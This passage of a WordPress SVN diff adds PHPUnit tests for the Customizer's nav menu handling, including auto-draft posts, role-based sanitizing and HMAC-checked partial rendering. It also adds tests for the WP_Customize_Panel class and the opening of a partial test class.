+			array( 'title' => 'Posts', 'type' => 'post_type', 'object' => 'post', 'type_label' => __( 'Post' ) ),
+			array( 'title' => 'Pages', 'type' => 'post_type', 'object' => 'page', 'type_label' => __( 'Page' ) ),
+			array( 'title' => 'Categories', 'type' => 'taxonomy', 'object' => 'category', 'type_label' => __( 'Category' ) ),
+			array( 'title' => 'Tags', 'type' => 'taxonomy', 'object' => 'post_tag', 'type_label' => __( 'Tag' ) ),
+		);
+
+		if ( current_theme_supports( 'post-formats' ) ) {
+			$expected[] = array( 'title' => 'Format', 'type' => 'taxonomy', 'object' => 'post_format', 'type_label' => __( 'Format' ) );
+		}
+
+		$this->assertEquals( $expected, $menus->available_item_types() );
+
+		register_taxonomy( 'wptests_tax', array( 'post' ), array( 'labels' => array( 'name' => 'Foo' ) ) );
+		$expected[] = array( 'title' => 'Foo', 'type' => 'taxonomy', 'object' => 'wptests_tax', 'type_label' => 'Foo' );
+
+		$this->assertEquals( $expected, $menus->available_item_types() );
+
+		$expected[] = array( 'title' => 'Custom', 'type' => 'custom_type', 'object' => 'custom_object', 'type_label' => 'Custom Type' );
+
+		add_filter( 'customize_nav_menu_available_item_types', array( $this, 'filter_item_types' ) );
+		$this->assertEquals( $expected, $menus->available_item_types() );
+		remove_filter( 'customize_nav_menu_available_item_types', array( $this, 'filter_item_types' ) );
+
+	}
+
+	/**
+	 * Test insert_auto_draft_post method.
+	 *
+	 * @covers WP_Customize_Nav_Menus::insert_auto_draft_post()
+	 */
+	public function test_insert_auto_draft_post() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$r = $menus->insert_auto_draft_post( array() );
+		$this->assertInstanceOf( 'WP_Error', $r );
+		$this->assertEquals( 'unknown_post_type', $r->get_error_code() );
+
+		// Non-existent post types allowed as of #39610.
+		$r = $menus->insert_auto_draft_post( array( 'post_title' => 'Non-existent', 'post_type' => 'nonexistent' ) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		$this->assertEquals( $this->wp_customize->changeset_uuid(), get_post_meta( $r->ID, '_customize_changeset_uuid', true ) );
+
+		$r = $menus->insert_auto_draft_post( array( 'post_type' => 'post' ) );
+		$this->assertInstanceOf( 'WP_Error', $r );
+		$this->assertEquals( 'empty_title', $r->get_error_code() );
+
+		$r = $menus->insert_auto_draft_post( array( 'post_status' => 'publish', 'post_title' => 'Bad', 'post_type' => 'post' ) );
+		$this->assertInstanceOf( 'WP_Error', $r );
+		$this->assertEquals( 'status_forbidden', $r->get_error_code() );
+
+		$r = $menus->insert_auto_draft_post( array( 'post_title' => 'Hello World', 'post_type' => 'post' ) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		$this->assertEquals( 'Hello World', $r->post_title );
+		$this->assertEquals( '', $r->post_name );
+		$this->assertEquals( 'hello-world', get_post_meta( $r->ID, '_customize_draft_post_name', true ) );
+		$this->assertEquals( $this->wp_customize->changeset_uuid(), get_post_meta( $r->ID, '_customize_changeset_uuid', true ) );
+		$this->assertEquals( 'post', $r->post_type );
+
+		$r = $menus->insert_auto_draft_post( array( 'post_title' => 'Hello World', 'post_type' => 'post', 'post_name' => 'greetings-world', 'post_content' => 'Hi World' ) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		$this->assertEquals( 'Hello World', $r->post_title );
+		$this->assertEquals( 'post', $r->post_type );
+		$this->assertEquals( '', $r->post_name );
+		$this->assertEquals( 'greetings-world', get_post_meta( $r->ID, '_customize_draft_post_name', true ) );
+		$this->assertEquals( $this->wp_customize->changeset_uuid(), get_post_meta( $r->ID, '_customize_changeset_uuid', true ) );
+		$this->assertEquals( 'Hi World', $r->post_content );
+	}
+
+	/**
+	 * Test the print_templates method.
+	 *
+	 * @see WP_Customize_Nav_Menus::print_templates()
+	 */
+	function test_print_templates() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		ob_start();
+		$menus->print_templates();
+		$template = ob_get_clean();
+
+		$expected = sprintf(
+			'<button type="button" class="menus-move-up">%1$s</button><button type="button" class="menus-move-down">%2$s</button><button type="button" class="menus-move-left">%3$s</button><button type="button" class="menus-move-right">%4$s</button>',
+			esc_html( 'Move up' ),
+			esc_html( 'Move down' ),
+			esc_html( 'Move one level up' ),
+			esc_html( 'Move one level down' )
+		);
+
+		$this->assertContains( $expected, $template );
+	}
+
+	/**
+	 * Test the available_items_template method.
+	 *
+	 * @see WP_Customize_Nav_Menus::available_items_template()
+	 */
+	function test_available_items_template() {
+		add_filter( 'customize_nav_menu_available_item_types', array( $this, 'filter_item_types' ) );
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		ob_start();
+		$menus->available_items_template();
+		$template = ob_get_clean();
+
+		$expected = sprintf( 'Customizing &#9656; %s', esc_html( $this->wp_customize->get_panel( 'nav_menus' )->title ) );
+
+		$this->assertContains( $expected, $template );
+
+		$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
+		if ( $post_types ) {
+			foreach ( $post_types as $type ) {
+				$this->assertContains( 'available-menu-items-post_type-' . esc_attr( $type->name ), $template );
+				$this->assertRegExp( '#<h4 class="accordion-section-title".*>\s*' . esc_html( $type->labels->name ) . '#', $template );
+				$this->assertContains( 'data-type="post_type"', $template );
+				$this->assertContains( 'data-object="' . esc_attr( $type->name ) . '"', $template );
+				$this->assertContains( 'data-type_label="' . esc_attr( $type->labels->singular_name ) . '"', $template );
+			}
+		}
+
+		$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' );
+		if ( $taxonomies ) {
+			foreach ( $taxonomies as $tax ) {
+				$this->assertContains( 'available-menu-items-taxonomy-' . esc_attr( $tax->name ), $template );
+				$this->assertRegExp( '#<h4 class="accordion-section-title".*>\s*' . esc_html( $tax->labels->name ) . '#', $template );
+				$this->assertContains( 'data-type="taxonomy"', $template );
+				$this->assertContains( 'data-object="' . esc_attr( $tax->name ) . '"', $template );
+				$this->assertContains( 'data-type_label="' . esc_attr( $tax->labels->singular_name ) . '"', $template );
+			}
+		}
+
+		$this->assertContains( 'available-menu-items-custom_type', $template );
+		$this->assertRegExp( '#<h4 class="accordion-section-title".*>\s*Custom#', $template );
+		$this->assertContains( 'data-type="custom_type"', $template );
+		$this->assertContains( 'data-object="custom_object"', $template );
+		$this->assertContains( 'data-type_label="Custom Type"', $template );
+	}
+
+	/**
+	 * Test WP_Customize_Nav_Menus::customize_dynamic_partial_args().
+	 *
+	 * @see WP_Customize_Nav_Menus::customize_dynamic_partial_args()
+	 */
+	function test_customize_dynamic_partial_args() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$args = apply_filters( 'customize_dynamic_partial_args', false, 'nav_menu_instance[68b329da9893e34099c7d8ad5cb9c940]' );
+		$this->assertInternalType( 'array', $args );
+		$this->assertEquals( 'nav_menu_instance', $args['type'] );
+		$this->assertEquals( array( $this->wp_customize->nav_menus, 'render_nav_menu_partial' ), $args['render_callback'] );
+		$this->assertTrue( $args['container_inclusive'] );
+
+		$args = apply_filters( 'customize_dynamic_partial_args', array( 'fallback_refresh' => false ), 'nav_menu_instance[4099c7d8ad5cb9c94068b329da9893e3]' );
+		$this->assertInternalType( 'array', $args );
+		$this->assertEquals( 'nav_menu_instance', $args['type'] );
+		$this->assertEquals( array( $this->wp_customize->nav_menus, 'render_nav_menu_partial' ), $args['render_callback'] );
+		$this->assertTrue( $args['container_inclusive'] );
+		$this->assertFalse( $args['fallback_refresh'] );
+	}
+
+	/**
+	 * Test the customize_preview_init method.
+	 *
+	 * @see WP_Customize_Nav_Menus::customize_preview_init()
+	 */
+	function test_customize_preview_init() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$menus->customize_preview_init();
+		$this->assertEquals( 10, has_action( 'wp_enqueue_scripts', array( $menus, 'customize_preview_enqueue_deps' ) ) );
+		$this->assertEquals( 1000, has_filter( 'wp_nav_menu_args', array( $menus, 'filter_wp_nav_menu_args' ) ) );
+		$this->assertEquals( 10, has_filter( 'wp_nav_menu', array( $menus, 'filter_wp_nav_menu' ) ) );
+	}
+
+	/**
+	 * Test make_auto_draft_status_previewable.
+	 *
+	 * @covers WP_Customize_Nav_Menus::make_auto_draft_status_previewable()
+	 */
+	function test_make_auto_draft_status_previewable() {
+		global $wp_post_statuses;
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+		$menus->make_auto_draft_status_previewable();
+		$this->assertTrue( $wp_post_statuses['auto-draft']->protected );
+	}
+
+	/**
+	 * Test sanitize_nav_menus_created_posts.
+	 *
+	 * @covers WP_Customize_Nav_Menus::sanitize_nav_menus_created_posts()
+	 */
+	function test_sanitize_nav_menus_created_posts() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+		$contributor_user_id = $this->factory()->user->create( array( 'role' => 'contributor' ) );
+		$author_user_id = $this->factory()->user->create( array( 'role' => 'author' ) );
+		$administrator_user_id = $this->factory()->user->create( array( 'role' => 'administrator' ) );
+
+		$contributor_post_id = $this->factory()->post->create( array(
+			'post_status' => 'auto-draft',
+			'post_title' => 'Contributor Post',
+			'post_type' => 'post',
+			'post_author' => $contributor_user_id,
+		) );
+		$author_post_id = $this->factory()->post->create( array(
+			'post_status' => 'auto-draft',
+			'post_title' => 'Author Post',
+			'post_type' => 'post',
+			'post_author' => $author_user_id,
+		) );
+		$administrator_post_id = $this->factory()->post->create( array(
+			'post_status' => 'auto-draft',
+			'post_title' => 'Admin Post',
+			'post_type' => 'post',
+			'post_author' => $administrator_user_id,
+		) );
+
+		$draft_post_id = $this->factory()->post->create( array(
+			'post_status' => 'draft',
+			'post_title' => 'Draft',
+			'post_author' => $administrator_user_id,
+		) );
+
+		$private_post_id = $this->factory()->post->create( array(
+			'post_status' => 'private',
+			'post_title' => 'Private',
+			'post_author' => $administrator_user_id,
+		) );
+
+		$value = array(
+			'bad',
+			$contributor_post_id,
+			$author_post_id,
+			$administrator_post_id,
+			$draft_post_id,
+			$private_post_id,
+		);
+
+		wp_set_current_user( $contributor_user_id );
+		$sanitized = $menus->sanitize_nav_menus_created_posts( $value );
+		$this->assertEquals( array(), $sanitized );
+
+		wp_set_current_user( $author_user_id );
+		$sanitized = $menus->sanitize_nav_menus_created_posts( $value );
+		$this->assertEquals( array( $author_post_id ), $sanitized );
+
+		wp_set_current_user( $administrator_user_id );
+		$sanitized = $menus->sanitize_nav_menus_created_posts( $value );
+		$this->assertEquals( array( $contributor_post_id, $author_post_id, $administrator_post_id, $draft_post_id ), $sanitized );
+	}
+
+	/**
+	 * Test save_nav_menus_created_posts.
+	 *
+	 * @covers WP_Customize_Nav_Menus::save_nav_menus_created_posts()
+	 */
+	function test_save_nav_menus_created_posts() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+		do_action( 'customize_register', $this->wp_customize );
+
+		$post_ids = array();
+
+		// Auto-draft.
+		$r = $menus->insert_auto_draft_post( array(
+			'post_title' => 'Auto Draft',
+			'post_type' => 'post',
+			'post_name' => 'auto-draft-1',
+		) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		$post_ids[] = $r->ID;
+
+		// Draft.
+		$r = $menus->insert_auto_draft_post( array(
+			'post_title' => 'Draft',
+			'post_type' => 'post',
+			'post_name' => 'auto-draft-2',
+		) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		wp_update_post( array(
+			'ID' => $r->ID,
+			'post_status' => 'draft',
+		) );
+		$post_ids[] = $r->ID;
+
+		$drafted_post_ids = $post_ids;
+
+		// Private (this will exclude it from being considered a stub).
+		$r = $menus->insert_auto_draft_post( array(
+			'post_title' => 'Private',
+			'post_type' => 'post',
+			'post_name' => 'auto-draft-3',
+		) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		wp_update_post( array(
+			'ID' => $r->ID,
+			'post_status' => 'private',
+		) );
+		$post_ids[] = $r->ID;
+		$private_post_id = $r->ID;
+
+		// Trashed (this will exclude it from being considered a stub).
+		$r = $menus->insert_auto_draft_post( array(
+			'post_title' => 'Trash',
+			'post_type' => 'post',
+			'post_name' => 'auto-draft-4',
+		) );
+		$this->assertInstanceOf( 'WP_Post', $r );
+		wp_trash_post( $r->ID );
+		$post_ids[] = $r->ID;
+		$trashed_post_id = $r->ID;
+
+		$pre_published_post_id = $this->factory()->post->create( array( 'post_status' => 'publish' ) );
+
+		$setting_id = 'nav_menus_created_posts';
+		$this->wp_customize->set_post_value( $setting_id, array_merge( $post_ids, array( $pre_published_post_id ) ) );
+		$setting = $this->wp_customize->get_setting( $setting_id );
+		$this->assertInstanceOf( 'WP_Customize_Filter_Setting', $setting );
+		$this->assertEquals( array( $menus, 'sanitize_nav_menus_created_posts' ), $setting->sanitize_callback );
+		$this->assertEquals( $drafted_post_ids, $setting->post_value() );
+		$this->assertArrayNotHasKey( $private_post_id, $post_ids );
+		$this->assertArrayNotHasKey( $trashed_post_id, $post_ids );
+
+		$this->assertEquals( 'auto-draft', get_post_status( $drafted_post_ids[0] ) );
+		$this->assertEquals( 'draft', get_post_status( $drafted_post_ids[1] ) );
+		foreach ( $drafted_post_ids as $post_id ) {
+			$this->assertEmpty( get_post( $post_id )->post_name );
+			$this->assertNotEmpty( get_post_meta( $post_id, '_customize_draft_post_name', true ) );
+		}
+
+		$save_action_count = did_action( 'customize_save_nav_menus_created_posts' );
+		$setting->save();
+		$this->assertEquals( $save_action_count + 1, did_action( 'customize_save_nav_menus_created_posts' ) );
+		foreach ( $drafted_post_ids as $post_id ) {
+			$this->assertEquals( 'publish', get_post_status( $post_id ) );
+			$this->assertRegExp( '/^auto-draft-\d+$/', get_post( $post_id )->post_name );
+			$this->assertEmpty( get_post_meta( $post_id, '_customize_draft_post_name', true ) );
+		}
+
+		$this->assertEquals( 'private', get_post_status( $private_post_id ) );
+		$this->assertEquals( 'trash', get_post_status( $trashed_post_id ) );
+
+		// Ensure that unique slugs were assigned.
+		$posts = array_map( 'get_post', $drafted_post_ids );
+		$post_names = wp_list_pluck( $posts, 'post_name' );
+		$this->assertEqualSets( $post_names, array_unique( $post_names ) );
+	}
+
+	/**
+	 * Test the filter_wp_nav_menu_args method.
+	 *
+	 * @see WP_Customize_Nav_Menus::filter_wp_nav_menu_args()
+	 */
+	function test_filter_wp_nav_menu_args() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = $this->wp_customize->nav_menus;
+		$menu_id = wp_create_nav_menu( 'Foo' );
+
+		$results = $menus->filter_wp_nav_menu_args( array(
+			'echo'            => true,
+			'fallback_cb'     => 'wp_page_menu',
+			'walker'          => '',
+			'menu'            => $menu_id,
+			'items_wrap'      => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+		) );
+		$this->assertArrayHasKey( 'customize_preview_nav_menus_args', $results );
+		$this->assertTrue( $results['can_partial_refresh'] );
+
+		$results = $menus->filter_wp_nav_menu_args( array(
+			'echo'            => false,
+			'fallback_cb'     => 'wp_page_menu',
+			'walker'          => new Walker_Nav_Menu(),
+			'items_wrap'      => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+		) );
+		$this->assertFalse( $results['can_partial_refresh'] );
+		$this->assertArrayHasKey( 'customize_preview_nav_menus_args', $results );
+		$this->assertEquals( 'wp_page_menu', $results['fallback_cb'] );
+
+		$nav_menu_term = get_term( wp_create_nav_menu( 'Bar' ) );
+		$results = $menus->filter_wp_nav_menu_args( array(
+			'echo'            => true,
+			'fallback_cb'     => 'wp_page_menu',
+			'walker'          => '',
+			'menu'            => $nav_menu_term,
+			'items_wrap'      => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+		) );
+		$this->assertTrue( $results['can_partial_refresh'] );
+		$this->assertArrayHasKey( 'customize_preview_nav_menus_args', $results );
+		$this->assertEquals( $nav_menu_term->term_id, $results['customize_preview_nav_menus_args']['menu'] );
+
+		$results = $menus->filter_wp_nav_menu_args( array(
+			'echo'            => true,
+			'fallback_cb'     => 'wp_page_menu',
+			'walker'          => '',
+			'menu'            => $menu_id,
+			'container'       => 'div',
+			'items_wrap'      => '%3$s',
+		) );
+		$this->assertTrue( $results['can_partial_refresh'] );
+
+		$results = $menus->filter_wp_nav_menu_args( array(
+			'echo'            => true,
+			'fallback_cb'     => 'wp_page_menu',
+			'walker'          => '',
+			'menu'            => $menu_id,
+			'container'       => false,
+			'items_wrap'      => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+		) );
+		$this->assertTrue( $results['can_partial_refresh'] );
+
+		$results = $menus->filter_wp_nav_menu_args( array(
+			'echo'            => true,
+			'fallback_cb'     => 'wp_page_menu',
+			'walker'          => '',
+			'menu'            => $menu_id,
+			'container'       => false,
+			'items_wrap'      => '%3$s',
+		) );
+		$this->assertFalse( $results['can_partial_refresh'] );
+	}
+
+	/**
+	 * Test the filter_wp_nav_menu method.
+	 *
+	 * @covers WP_Customize_Nav_Menus::filter_wp_nav_menu()
+	 * @covers WP_Customize_Nav_Menus::filter_wp_nav_menu_args()
+	 */
+	function test_filter_wp_nav_menu() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$original_args = array(
+			'echo'        => true,
+			'menu'        => wp_create_nav_menu( 'Foo' ),
+			'fallback_cb' => 'wp_page_menu',
+			'walker'      => '',
+			'items_wrap'  => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+		);
+
+		// Add global namespace prefix to check #41488.
+		if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
+			$original_args['fallback_cb'] = '\\' . $original_args['fallback_cb'];
+		}
+
+		$args = $menus->filter_wp_nav_menu_args( $original_args );
+
+		ob_start();
+		wp_nav_menu( $args );
+		$nav_menu_content = ob_get_clean();
+
+		$result = $menus->filter_wp_nav_menu( $nav_menu_content, (object) $args );
+
+		$this->assertContains( sprintf( ' data-customize-partial-id="nav_menu_instance[%s]"', $args['customize_preview_nav_menus_args']['args_hmac'] ), $result );
+		$this->assertContains( ' data-customize-partial-type="nav_menu_instance"', $result );
+		$this->assertTrue( (bool) preg_match( '/data-customize-partial-placement-context="(.+?)"/', $result, $matches ) );
+		$context = json_decode( html_entity_decode( $matches[1] ), true );
+		$this->assertEquals( $original_args, wp_array_slice_assoc( $context, array_keys( $original_args ) ) ); // Because assertArraySubset is not available in PHP 5.2.
+		$this->assertTrue( $context['can_partial_refresh'] );
+	}
+
+	/**
+	 * Test the customize_preview_enqueue_deps method.
+	 *
+	 * @see WP_Customize_Nav_Menus::customize_preview_enqueue_deps()
+	 */
+	function test_customize_preview_enqueue_deps() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$menus->customize_preview_enqueue_deps();
+
+		$this->assertTrue( wp_script_is( 'customize-preview-nav-menus' ) );
+	}
+
+	/**
+	 * Test WP_Customize_Nav_Menus::export_preview_data() method.
+	 *
+	 * @see WP_Customize_Nav_Menus::export_preview_data()
+	 */
+	function test_export_preview_data() {
+		ob_start();
+		$this->wp_customize->nav_menus->export_preview_data();
+		$html = ob_get_clean();
+		$this->assertTrue( (bool) preg_match( '/_wpCustomizePreviewNavMenusExports = ({.+})/s', $html, $matches ) );
+		$exported_data = json_decode( $matches[1], true );
+		$this->assertArrayHasKey( 'navMenuInstanceArgs', $exported_data );
+	}
+
+	/**
+	 * Test WP_Customize_Nav_Menus::render_nav_menu_partial() method.
+	 *
+	 * @see WP_Customize_Nav_Menus::render_nav_menu_partial()
+	 */
+	function test_render_nav_menu_partial() {
+		$this->wp_customize->nav_menus->customize_preview_init();
+
+		$menu = wp_create_nav_menu( 'Foo' );
+		wp_update_nav_menu_item( $menu, 0, array(
+			'menu-item-type' => 'custom',
+			'menu-item-title' => 'WordPress.org',
+			'menu-item-url' => 'https://wordpress.org',
+			'menu-item-status' => 'publish',
+		) );
+
+		$nav_menu_args = $this->wp_customize->nav_menus->filter_wp_nav_menu_args( array(
+			'echo'        => true,
+			'menu'        => $menu,
+			'fallback_cb' => 'wp_page_menu',
+			'walker'      => '',
+			'items_wrap'  => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+		) );
+
+		$partial_id = sprintf( 'nav_menu_instance[%s]', $nav_menu_args['customize_preview_nav_menus_args']['args_hmac'] );
+		$partials = $this->wp_customize->selective_refresh->add_dynamic_partials( array( $partial_id ) );
+		$this->assertNotEmpty( $partials );
+		$partial = array_shift( $partials );
+		$this->assertEquals( $partial_id, $partial->id );
+
+		$missing_args_hmac_args = array_merge(
+			$nav_menu_args['customize_preview_nav_menus_args'],
+			array( 'args_hmac' => null )
+		);
+		$this->assertFalse( $partial->render( $missing_args_hmac_args ) );
+
+		$args_hmac_mismatch_args = array_merge(
+			$nav_menu_args['customize_preview_nav_menus_args'],
+			array( 'args_hmac' => strrev( $nav_menu_args['customize_preview_nav_menus_args']['args_hmac'] ) )
+		);
+		$this->assertFalse( $partial->render( $args_hmac_mismatch_args ) );
+
+		$rendered = $partial->render( $nav_menu_args['customize_preview_nav_menus_args'] );
+		$this->assertContains( 'data-customize-partial-type="nav_menu_instance"', $rendered );
+		$this->assertContains( 'WordPress.org', $rendered );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/panel.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/panel.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/panel.php	(revision 56912)
@@ -0,0 +1,238 @@
+<?php
+
+/**
+ * Tests for the WP_Customize_Panel class.
+ *
+ * @group customize
+ */
+class Tests_WP_Customize_Panel extends WP_UnitTestCase {
+
+	/**
+	 * @var WP_Customize_Manager
+	 */
+	protected $manager;
+
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		$this->manager = $GLOBALS['wp_customize'];
+		$this->undefined = new stdClass();
+	}
+
+	function tearDown() {
+		$this->manager = null;
+		unset( $GLOBALS['wp_customize'] );
+		parent::tearDown();
+	}
+
+	/**
+	 * @see WP_Customize_Panel::__construct()
+	 */
+	function test_construct_default_args() {
+		$panel = new WP_Customize_Panel( $this->manager, 'foo' );
+		$this->assertInternalType( 'int', $panel->instance_number );
+		$this->assertEquals( $this->manager, $panel->manager );
+		$this->assertEquals( 'foo', $panel->id );
+		$this->assertEquals( 160, $panel->priority );
+		$this->assertEquals( 'edit_theme_options', $panel->capability );
+		$this->assertEquals( '', $panel->theme_supports );
+		$this->assertEquals( '', $panel->title );
+		$this->assertEquals( '', $panel->description );
+		$this->assertEmpty( $panel->sections );
+		$this->assertEquals( 'default', $panel->type );
+		$this->assertEquals( array( $panel, 'active_callback' ), $panel->active_callback );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::__construct()
+	 */
+	function test_construct_custom_args() {
+		$args = array(
+			'priority' => 200,
+			'capability' => 'edit_posts',
+			'theme_supports' => 'html5',
+			'title' => 'Hello World',
+			'description' => 'Lorem Ipsum',
+			'type' => 'horizontal',
+			'active_callback' => '__return_true',
+		);
+
+		$panel = new WP_Customize_Panel( $this->manager, 'foo', $args );
+		foreach ( $args as $key => $value ) {
+			$this->assertEquals( $value, $panel->$key );
+		}
+	}
+
+	/**
+	 * @see WP_Customize_Panel::__construct()
+	 */
+	function test_construct_custom_type() {
+		$panel = new Custom_Panel_Test( $this->manager, 'foo' );
+		$this->assertEquals( 'titleless', $panel->type );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::active()
+	 * @see WP_Customize_Panel::active_callback()
+	 */
+	function test_active() {
+		$panel = new WP_Customize_Panel( $this->manager, 'foo' );
+		$this->assertTrue( $panel->active() );
+
+		$panel = new WP_Customize_Panel( $this->manager, 'foo', array(
+			'active_callback' => '__return_false',
+		) );
+		$this->assertFalse( $panel->active() );
+		add_filter( 'customize_panel_active', array( $this, 'filter_active_test' ), 10, 2 );
+		$this->assertTrue( $panel->active() );
+	}
+
+	/**
+	 * @param bool $active
+	 * @param WP_Customize_Panel $panel
+	 * @return bool
+	 */
+	function filter_active_test( $active, $panel ) {
+		$this->assertFalse( $active );
+		$this->assertInstanceOf( 'WP_Customize_Panel', $panel );
+		$active = true;
+		return $active;
+	}
+
+	/**
+	 * @see WP_Customize_Panel::json()
+	 */
+	function test_json() {
+		$args = array(
+			'priority' => 200,
+			'capability' => 'edit_posts',
+			'theme_supports' => 'html5',
+			'title' => 'Hello World',
+			'description' => 'Lorem Ipsum',
+			'type' => 'horizontal',
+			'active_callback' => '__return_true',
+		);
+		$panel = new WP_Customize_Panel( $this->manager, 'foo', $args );
+		$data = $panel->json();
+		$this->assertEquals( 'foo', $data['id'] );
+		foreach ( array( 'title', 'description', 'priority', 'type' ) as $key ) {
+			$this->assertEquals( $args[ $key ], $data[ $key ] );
+		}
+		$this->assertEmpty( $data['content'] );
+		$this->assertTrue( $data['active'] );
+		$this->assertInternalType( 'int', $data['instanceNumber'] );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::check_capabilities()
+	 */
+	function test_check_capabilities() {
+		$user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+		wp_set_current_user( $user_id );
+
+		$panel = new WP_Customize_Panel( $this->manager, 'foo' );
+		$this->assertTrue( $panel->check_capabilities() );
+		$old_cap = $panel->capability;
+		$panel->capability = 'do_not_allow';
+		$this->assertFalse( $panel->check_capabilities() );
+		$panel->capability = $old_cap;
+		$this->assertTrue( $panel->check_capabilities() );
+		$panel->theme_supports = 'impossible_feature';
+		$this->assertFalse( $panel->check_capabilities() );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::get_content()
+	 */
+	function test_get_content() {
+		$panel = new WP_Customize_Panel( $this->manager, 'foo' );
+		$this->assertEmpty( $panel->get_content() );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::maybe_render()
+	 */
+	function test_maybe_render() {
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$panel = new WP_Customize_Panel( $this->manager, 'bar' );
+		$customize_render_panel_count = did_action( 'customize_render_panel' );
+		add_action( 'customize_render_panel', array( $this, 'action_customize_render_panel_test' ) );
+		ob_start();
+		$panel->maybe_render();
+		$content = ob_get_clean();
+		$this->assertTrue( $panel->check_capabilities() );
+		$this->assertEmpty( $content );
+		$this->assertEquals( $customize_render_panel_count + 1, did_action( 'customize_render_panel' ), 'Unexpected did_action count for customize_render_panel' );
+		$this->assertEquals( 1, did_action( "customize_render_panel_{$panel->id}" ), "Unexpected did_action count for customize_render_panel_{$panel->id}" );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::maybe_render()
+	 * @param WP_Customize_Panel $panel
+	 */
+	function action_customize_render_panel_test( $panel ) {
+		$this->assertInstanceOf( 'WP_Customize_Panel', $panel );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::print_template()
+	 */
+	function test_print_templates_standard() {
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+
+		$panel = new WP_Customize_Panel( $this->manager, 'baz' );
+		ob_start();
+		$panel->print_template();
+		$content = ob_get_clean();
+		$this->assertContains( '<script type="text/html" id="tmpl-customize-panel-default-content">', $content );
+		$this->assertContains( 'accordion-section-title', $content );
+		$this->assertContains( 'control-panel-content', $content );
+		$this->assertContains( '<script type="text/html" id="tmpl-customize-panel-default">', $content );
+		$this->assertContains( 'customize-panel-description', $content );
+		$this->assertContains( 'preview-notice', $content );
+	}
+
+	/**
+	 * @see WP_Customize_Panel::print_template()
+	 */
+	function test_print_templates_custom() {
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+
+		$panel = new Custom_Panel_Test( $this->manager, 'baz' );
+		ob_start();
+		$panel->print_template();
+		$content = ob_get_clean();
+		$this->assertContains( '<script type="text/html" id="tmpl-customize-panel-titleless-content">', $content );
+		$this->assertNotContains( 'accordion-section-title', $content );
+
+		$this->assertContains( '<script type="text/html" id="tmpl-customize-panel-titleless">', $content );
+		$this->assertNotContains( 'preview-notice', $content );
+	}
+}
+
+require_once ABSPATH . WPINC . '/class-wp-customize-panel.php';
+class Custom_Panel_Test extends WP_Customize_Panel {
+	public $type = 'titleless';
+
+	protected function render_template() {
+		?>
+		<li id="accordion-panel-{{ data.id }}" class="accordion-section control-section control-panel control-panel-{{ data.type }}">
+			<ul class="accordion-sub-container control-panel-content"></ul>
+		</li>
+		<?php
+	}
+
+	protected function content_template() {
+		?>
+		<li class="panel-meta accordion-section control-section<# if ( ! data.description ) { #> cannot-expand<# } #>">
+			<# if ( data.description ) { #>
+				<div class="accordion-section-content description">
+					{{{ data.description }}}
+				</div>
+			<# } #>
+		</li>
+		<?php
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/partial.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/partial.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/partial.php	(revision 56912)
@@ -0,0 +1,355 @@
+<?php
+/**
+ * Test_WP_Customize_Partial tests.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Tests for the Test_WP_Customize_Partial class.
+ *
+ * @group customize
+ */
+class Test_WP_Customize_Partial extends WP_UnitTestCase {
+
+	/**
+	 * Manager.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Component.
+	 *
+	 * @var WP_Customize_Selective_Refresh
+	 */
+	public $selective_refresh;
+
+	/**
+	 * Set up.
+	 */
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		// @codingStandardsIgnoreStart
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		// @codingStandardsIgnoreEnd
